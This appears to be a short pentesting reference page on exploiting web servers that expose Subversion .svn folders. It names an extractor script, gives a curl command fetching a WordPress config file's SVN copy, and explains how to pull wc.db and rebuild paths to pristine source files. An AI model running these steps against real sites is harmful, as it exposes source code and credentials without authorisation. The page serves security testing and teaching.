Subversion

Subversion (often abbreviated as SVN) is a centralized version control system (VCS) that has been widely used in the software development industry. Originally developed by CollabNet Inc. in 2000, Subversion was designed to be an improved version of CVS (Concurrent Versions System) and has since gained significant traction for its robustness and reliability.

Summary

• Tools
• Methodology
• References

Tools

• anantshri/svn-extractor - Simple script to extract all web resources by means of .SVN folder exposed over network.

  python svn-extractor.py --url "url with .svn available"

Methodology

curl http://blog.domain.com/.svn/text-base/wp-config.php.svn-base

1. Download the svn database from http://server/path_to_vulnerable_site/.svn/wc.db

   INSERT INTO "NODES" VALUES(1,'trunk/test.txt',0,'trunk',1,'trunk/test.txt',2,'normal',NULL,NULL,'file',X'2829',NULL,'$sha1$945a60e68acc693fcb74abadb588aac1a9135f62',NULL,2,1456056344886288,'bl4de',38,1456056261000000,NULL,NULL);

2. Download interesting files

   • remove $sha1$ prefix
   • add .svn-base postfix
   • use first byte from hash as a subdirectory of the pristine/ directory (94 in this case)
   • create complete path, which will be: http://server/path_to_vulnerable_site/.svn/pristine/94/945a60e68acc693fcb74abadb588aac1a9135f62.svn-base

References

• SVN Extractor for Web Pentesters - Anant Shrivastava - March 26, 2013